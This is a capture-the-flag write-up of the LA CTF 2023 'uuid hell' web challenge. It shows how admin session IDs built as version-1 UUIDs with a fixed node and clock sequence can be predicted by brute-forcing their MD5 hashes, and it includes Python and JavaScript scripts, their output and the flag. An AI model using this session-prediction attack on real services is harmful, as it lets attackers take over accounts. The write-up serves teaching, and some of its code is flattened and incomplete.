# uuid hell

## Overview

- Overall difficulty for me (From 1-10 stars): ★★★★★★☆☆☆☆

- 165 solves / 391 points

## Background

UUIDs are the best! I love them (if you couldn't tell)!

Site: [uuid-hell.lac.tf](https://uuid-hell.lac.tf)


## Enumeration

**In this challenge, we can download a [file](https://github.com/siunam321/CTF-Writeups/blob/main/LA-CTF-2023/Web/uuid-hell/uuid-hell.zip):**
└> file uuid-hell.zip
uuid-hell.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
└> unzip uuid-hell.zip
Archive: uuid-hell.zip
inflating: Dockerfile
inflating: package-lock.json
inflating: package.json
inflating: server.js

But before we look into those files, let's have a look in the home page:


As you can see, we have bunch of UUIDs for admin users and regular users.

**Now, we can look into the downloaded files.**

└> cat Dockerfile
FROM node:19-bullseye-slim
ENV NODE_ENV=production
ENV FLAG=lactf{testing}


COPY ["package.json", "package-lock.json", "./"]

RUN npm install --production

COPY server.js /app


CMD [ "node", "server.js"]

In here, we see that the web application is using Express NodeJS framework, and **the flag is inside the environment variable.**

Let's break the `server.js` JavaScript source code down!

**In the source code, we see this:**
function randomUUID() {
return uuid.v1({'node': [0x67, 0x69, 0x6E, 0x6B, 0x6F, 0x69], 'clockseq': 0b10101001100100});
let adminuuids = []
let useruuids = []
function isAdmin(uuid) {
return adminuuids.includes(uuid);
function isUuid(uuid) {
if (uuid.length != 36) {
return false;
for (const c of uuid) {
if (!/[-a-f0-9]/.test(c)) {
return false;
return true;

function getUsers() {
let output = "Admin users:\n";
adminuuids.forEach((adminuuid) => {
const hash = crypto.createHash('md5').update("admin" + adminuuid).digest("hex");
output += `<tr><td>${hash}</td></tr>\n`;
output += "

Regular users:\n";
useruuids.forEach((useruuid) => {
const hash = crypto.createHash('md5').update(useruuid).digest("hex");
output += `<tr><td>${hash}</td></tr>\n`;
return output;

app.get('/', (req, res) => {
let id = req.cookies['id'];
if (id === undefined || !isUuid(id)) {
id = randomUUID();
res.cookie("id", id);
} else if (isAdmin(id)) {

res.send("You are logged in as " + id + "

" + getUsers());

In the `/` route (path), if our cookie `id` is not set OR the `id` value length is not equal to 36, and not contain `-a-f0-9`, then generate a new **random UUID version 1** and set a new `id` cookie with that value.

***If the UUID value is the admin user one, send the flag.***

Finally, for each admin users' UUID, **MD5 hash it by appending "admin" and the UUID.** Also, for each regular users' UUID, MD5 hash it with the UUID.

**After that, we can also see:**
app.post('/createadmin', (req, res) => {
const adminid = randomUUID();
res.send("Admin account created.")

**In the `/createadmin` route, **when a POST request is sent, it'll generate a new UUID version 1**, and append it to array `adminuuids`:**
└> curl https://uuid-hell.lac.tf/createadmin -X POST
Admin account created.

So, what's our goal in this challenge?

***Our main goal is to get a valid UUID from one of those admin users, then the web application will send the flag!***

But how?

The admin UUIDs are being hashed via MD5 and appended a string "admin".

**Let's look at the function `randomUUID()`:**
function randomUUID() {
return uuid.v1({'node': [0x67, 0x69, 0x6E, 0x6B, 0x6F, 0x69], 'clockseq': 0b10101001100100});

First off, what is UUID version 1?

> A Version 1 UUID is **a universally unique identifier that is generated using a timestamp and the MAC address (`node`) of the computer on which it was generated**.

**Then, according to [NPM](https://www.npmjs.com/package/uuid#uuidv1options-buffer-offset), we see that what is `node` and `clockseq` key:**


So, `node` is 6 indexes of array of byte values. `clockseq` is a number between 0 - 0x3fff.

Hmm... If we can extract **timestamp**, **clock sequence** and **node** (MAC address), we can predict the UUID!

**In [this](https://versprite.com/blog/universally-unique-identifiers/) blog, it breaks down the UUIDv1 and it's vulnerability:**




**Hence, our current UUID:**

- Timestamp: 1eda9e3ab25e090 (`ab25e090`-`a9e3`-1`1ed`-aa64-67696e6b6f69)
- Hex to decimal: 138953958812410000
- Subtracted: 1676103081241 ( ${138953958812410000} - {122192928000000000} / 10000$ )
- Converted: Sat Feb 11 2023 16:11:21 GMT+0800 (From [Dan's Tool](https://www.unixtimestamp.com/))
- Version: 1 (ab25e090-a9e3-`1`1ed-aa64-67696e6b6f69)
- Clock Sequence / Clock ID: aa64 (ab25e090-a9e3-11ed-`aa64`-67696e6b6f69) (`0b10101001100100`)
- Node ID: 67696e6b6f69 (ab25e090-a9e3-11ed-aa64-`67696e6b6f69`) (`[0x67, 0x69, 0x6E, 0x6B, 0x6F, 0x69]`)

Hmm... How can we abuse the `/createadmin` route...

***Ah! Since we now know the format of UUIDv1, the value of node, and clock sequence, we can theoretically predict the admin UUID!***

**To so do, I'll write a Python script:**
#!/usr/bin/env python3

import requests
from hashlib import md5
from uuid import uuid1

def main():
session = requests.session()

# Create new admin
URL = 'https://uuid-hell.lac.tf'
createAdminRequestResult = session.post(URL + '/createadmin')
print(f'[+] Request result text: {createAdminRequestResult.text}')

UUIDv1 = str(uuid1(node=0x67696E6B6F69, clock_seq=0b10101001100100))
print(f'[+] UUIDv1: {UUIDv1}')

hashedUUIDv1 = md5(b'admin' + UUIDv1.encode('utf-8')).hexdigest()
print(f'[+] Hashed: {hashedUUIDv1}')

homePageRequestResult = session.get(URL)

if hashedUUIDv1 in homePageRequestResult.text:
print('[+] Found the same hash in the home page!')
print('[-] Couldn\'t find the same hash in the home page...')

if __name__ == '__main__':

However, I still couldn't predict the UUID in this script...

Hmm... I wonder if can I ***brute force the admin UUID's MD5 hash***...

**To do so, I'll first generate a UUIDv1 BEFORE creating a new admin account. Then, get the regular user's UUIDv1 AFTER new admin account has been created:**
const uuid = require('uuid');
const crypto = require('crypto');

const URL = 'https://uuid-hell.lac.tf';

// Generate UUIDv1 and MD5 hashed one
var adminuuid = uuid.v1({'node': [0x67, 0x69, 0x6E, 0x6B, 0x6F, 0x69], 'clockseq': 0b10101001100100});
console.log("Before created UUIDv1: " + adminuuid);
var hash = crypto.createHash('md5').update("admin" + adminuuid).digest("hex");
console.log("Before created MD5 hash: " + hash);

// Create new admin
fetch(URL + "/createadmin", {
method: "POST"
response => response.text()
text => console.log("Create admin response text: " + text)

// Get the current regular user's UUIDv1
response => response.text()
text => console.log("Current regular user's UUIDv1:\n" + text.split('


> Note: I switch to JavaScript for simplicity.

└> nodejs generate_uuidv1.js
Before created UUIDv1: 8c07b990-aa9c-11ed-aa64-67696e6b6f69
Before created MD5 hash: eb3b9bac7f6b78cb5ea2895fc0331772
Current regular user's UUIDv1:
You are logged in as 8c69d6c0-aa9c-11ed-aa64-67696e6b6f69
Create admin response text: Admin account created.

**Then, go to `/`, and copy the last admin user's hash:**


**After that, I'll write a Python script to brute force the MD5 hash:**
#!/usr/bin/env python3

from hashlib import md5

def main():
hashed = '9d91ed0ca14c3863eb27546c83e25358'

for i in range(0x8c07b990 , 0xffffffff):
hexed = hex(i)[2:]
hashTarget = f'{hexed}-aa9c-11ed-aa64-67696e6b6f69'.encode('utf-8')

hashedTarget = md5(b'admin' + hashTarget).hexdigest()
print(f'[*] Trying target: {hashTarget.decode()}, hashed: {hashedTarget}', end='\r')
if hashedTarget == hashed:
print(f'\n[+] Found the same hash! Target: {hashTarget.decode()}, hashed: {hashedTarget}')

if __name__ == '__main__':

> Note: Replace the `hashed` to your last admin user's hash, and the `0x8c07b990` hex value to your before created UUIDv1. E.g: `8c07b990-aa9c-11ed-aa64-67696e6b6f69` -> `0x8c07b990`.

└> python3 brute_force_md5_uuidv1.py
[*] Trying target: 8c78cae0-aa9c-11ed-aa64-67696e6b6f69, hashed: 9d91ed0ca14c3863eb27546c83e25358
[+] Found the same hash! Target: 8c78cae0-aa9c-11ed-aa64-67696e6b6f69, hashed: 9d91ed0ca14c3863eb27546c83e25358

Nice! We found it!

**Let's modify our `id` cookie to the new UUIDv1, and refresh the page!**



We found the flag!

- **Flag: `lactf{uu1d_v3rs10n_1ch1_1s_n07_r4dn0m}`**

# Conclusion

What we've learned:

1. Predicting UUID Version 1 Via Known Nodes & Clock Sequence

Original writeup (https://siunam321.github.io/ctf/LA-CTF-2023/Web/uuid-hell/).